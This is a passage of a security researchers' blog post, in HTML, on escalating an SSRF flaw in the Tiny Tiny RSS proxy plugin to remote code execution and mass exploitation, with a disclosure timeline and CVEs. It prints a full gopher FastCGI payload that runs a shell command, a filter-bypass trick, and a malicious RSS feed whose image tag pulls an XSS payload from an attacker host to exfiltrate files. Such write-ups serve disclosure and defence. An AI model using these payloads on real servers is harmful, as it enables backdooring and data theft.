data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:582,&quot;width&quot;:1364,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;8ba4ac8dd07d0a6021a8836143b11922&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="8ba4ac8dd07d0a6021a8836143b11922" title="8ba4ac8dd07d0a6021a8836143b11922" srcset="https://substackcdn.com/image/fetch/$s_!PVLX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 424w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 848w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1272w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To keep track of this vulnerability, <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25788">CVE-2020-25788</a> was assigned.</p><h2>Escalating to remote code execution</h2><p>Our goal from the start was to discover a RCE vulnerability. Classic LFI to RCE escalation was not applicable, as with that vulnerability, we could only read PHP code, not execute it.</p><p>After we analyzed other parts of an application and failing to find RCE (other than one in <a href="https://www.exploit-db.com/exploits/40154">outdated PHP gettext</a> library which would require the attacker to modify translation files), we returned to <code>af_proxy_http</code> plugin.</p><p>We planned to see if it is realistic to escalate SSRF to RCE through something commonly installed along the tt-rss.</p><p>We came across <a href="https://github.com/tarunkant/Gopherus">gopherus</a> tool which describes itself as tool that generates gopher link for exploiting SSRF and gaining RCE in various servers. <code>libcurl</code> supports plenty of protocols; Gopher is particularly useful for an attacker cause it can be used to craft custom TCP packets.</p><p>By examining <a href="https://git.tt-rss.org/fox/ttrss-docker-compose">docker files</a> (docker is the recommended way of installing tt-rss at the time of writing), we concluded PHP-FPM running on port 9000 is the best attack vector. We ran gopherus to generate payload (gopher URL), it is relatively easy to run it. All attacker needs to know is the location of any PHP file on a remote system (on non-dockerized installation we were testing on we chose <code>/srv/http/tt-rss/config.php</code>). First attempt failed. After some troubleshooting we realized payload needs to be double url encoded (without double encoding, raw null bytes were passed to <code>curl_exec</code>). Following that, we ran it...and it failed again, this time without clear reason.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OBib!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OBib!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 424w, https://substackcdn.com/image/fetch/$s_!OBib!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 848w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1272w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OBib!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png" width="1335" height="326" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:326,&quot;width&quot;:1335,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!OBib!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 424w, https://substackcdn.com/image/fetch/$s_!OBib!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 848w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1272w, https://substackcdn.com/image/fetch/$s_!OBib!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa00d311c-b300-43cb-98e3-8a2c4065a33b_1335x326.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">./gopherus.py --exploit fastcgi (modified so it double-encodes)</figcaption></figure></div><p>We ssh'd to the box tt-rss was running on and tried to make the request manually (this time URL is not double-encoded cause it's not processed twice).</p><pre><code><code>curl gopher://localhost:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%08%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclien%20%0%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1BSCRIPT_FILENAME/srv/http/tt-rss/public.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27ls%20%3E%20/srv/http/tt-rss/cache/images/a.txt%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
</code></code></pre><p>Result was <code>curl: (3) URL using bad/illegal format or missing URL</code>.</p><p><a href="https://github.com/curl/curl/commit/31e53584db5879894809fbde5445aac7553ac3e2#diff-5af1b0638bb439638b199b389467edbd">This commit</a> reveals the problem. tt-rss was self-hosted on an Arch box with most recent packages. Starting with cURL version 7.71.1, it refuses gopher URL's which contain null bytes. We can tell this is not due to security concerns but rather due to the gopher URL standard format.</p><p>This was disappointing as we could not craft a valid FastCGI packet without null bytes, and no other protocols that <code>libcurl</code> supported were as useful (all would include something that made FastCGI packet invalid). However, then we wondered how many installations run this version of cURL.</p><p>It was impossible to confirm that (legally) for manually installed instances, but it was trivial to check what version <a href="https://git.tt-rss.org/fox/ttrss-docker-compose/">docker</a> installation is using. In <code>app/Dockerfile</code>, there is a line <code>FROM alpine:3.9</code>. A little bit of research showed this distribution uses cURL version 7.64.0! Again, it should be noted that this is not an outdated cURL issue, it's a SSRF issue.</p><p>We installed the dockerized version and tweaked <code>gopherus</code> script a bit. By default <code>gopherus</code> tool allowed the attacker to create gopher URLs, which when processed would execute a shell command. We edited it so it creates a backdoor file with the code we want instead.</p><p>Where <code>backdoor_path</code> and <code>backdoor_code</code> were configurable variables. Running the script produced following URL:</p><p>We passed it in the <code>url</code> parameter and it worked! File <code>backdoor.php</code> gets written on the server! With this file in place, an attacker can run arbitrary commands on the server.</p><p>This means that backdooring a tt-rss installation is as easy as getting the user to click a link (or force the user's browser to make a GET request with image tag). However, this allows only for a targeted attack, can it be mass-deployed?</p><h1>Mass-deploying the exploit</h1><p>We planned to research whether an attacker can infect plenty of tt-rss servers without targetting each user individually. For this attack scenario, let us assume the attacker either owns or has hacked a website with a popular RSS feed.</p><p>Some HTML elements are allowed in feed, including link and image elements. The idea was to insert <code>img</code> element that will force the user's browser to make a malicious GET request that will install <code>backdoor.php</code>. So we hosted a feed with <code>&lt;img src="relative_link"&gt;</code> on </p><p>https://subdomain.digeex.de</p><p>To our disappointment, it got rewritten to <code>&lt;img src="https://subdomain.digeex.de/relative_link"&gt;</code>.</p><p>Feed parser calls <code>rewrite_relative_url</code> function, which contains the following code snippet:</p><pre><code><code>&#9;if (strpos($rel_url, "://") !== false) {
&#9;&#9;return $rel_url;
&#9;} 
</code></code></pre><p>It is clear from this that relative URLs aren't thought of as a security concern, so it is trivial to bypass it by adding <code>&amp;bypass_filter=://</code> at the end of the URL. <strong>That means anyone subscribed can be backdoored</strong> through an <code>img</code> tag that utilizes previously generated exploit url, like this:</p><p>This would infect a good number of installations (all docker and any manually installed that run PHP-FPM on port 9000 and have cURL &lt; 7.71.1), but the attacker might want to ensure to get sensitive info even if it fails.</p><p>This can be achieved by using an image tag to cache XSS payload and then linking it to the article title. After the user clicks a malicious link, XSS can fetch and send the contents of sensitive files to the attacker (using LFI vulnerability).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xjVy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xjVy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 424w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 848w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1272w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xjVy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png" width="448" height="109" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:109,&quot;width&quot;:448,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Screenshot_2020-09-10--76--Tiny-Tiny-RSS&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Screenshot_2020-09-10--76--Tiny-Tiny-RSS" title="Screenshot_2020-09-10--76--Tiny-Tiny-RSS" srcset="https://substackcdn.com/image/fetch/$s_!xjVy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 424w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 848w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1272w, https://substackcdn.com/image/fetch/$s_!xjVy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1197da51-a170-4227-b529-1b2e95a48dd3_448x109.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Article view of the malicious feed</figcaption></figure></div><p>XML source of the malicious feed looks like this:</p><pre><code><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;rss version="2.0"&gt;

&lt;channel&gt;
  &lt;title&gt;Exploit demo - xss2lfi&lt;/title&gt;
  &lt;link&gt;&lt;/link&gt;
  &lt;description&gt;You are getting infected :(&lt;/description&gt;
  &lt;item&gt;
    &lt;title&gt;This is malicious link&lt;/title&gt;
    &lt;link&gt;&lt;![CDATA[public.php?op=cached_url&amp;file=images/271be703630c0f8fda3e173ffbf4d2a097b73adb&amp;bypass_filter=://]]&gt;&lt;/link&gt;
    &lt;description&gt;
    &lt;![CDATA[
        Dummy text
        &lt;img src ="public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=http://attacker-server/xss2lfi.html"&gt;

    ]]&gt;
&lt;/description&gt;
  &lt;/item&gt;
&lt;/channel&gt;
&lt;/rss&gt;
</code></code></pre><h1>Conclusion</h1><p>The default docker installation of tt-rss has a vulnerability that allows for remote code execution. It can be mass-exploited through a popular subscription feed.</p><p>Manually installed instances are also vulnerable if PHP-FPM is running on port 9000 (instead of Unix socket), and cURL version is below 7.71.1. Remote code execution might be possible even if those conditions are not satisfied, but we have not researched how.</p><p>Even if remote code execution cannot be achieved, attackers can get contents of internal files and portscan internal services if the user clicks the article title. All instances are vulnerable to this, docker or otherwise.</p><h1>Timeline</h1><ul><li><p>10 August - 11 September: Testing and reporting phase</p></li><li><p>11 September - 14 September: Contacting developer (first e-mail got lost)</p></li><li><p>14 September - 17 September: Developer fixed all the issues</p></li><li><p>18 September: CVE IDs requested</p></li><li><p>19 September: <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25787">CVE-2020-25787</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25788">CVE-2020-25788</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25789">CVE-2020-25789</a> assigned to our findings</p></li><li><p>21 September: Our findings are made public</p></li></ul>]]></content:encoded></item></channel></rss>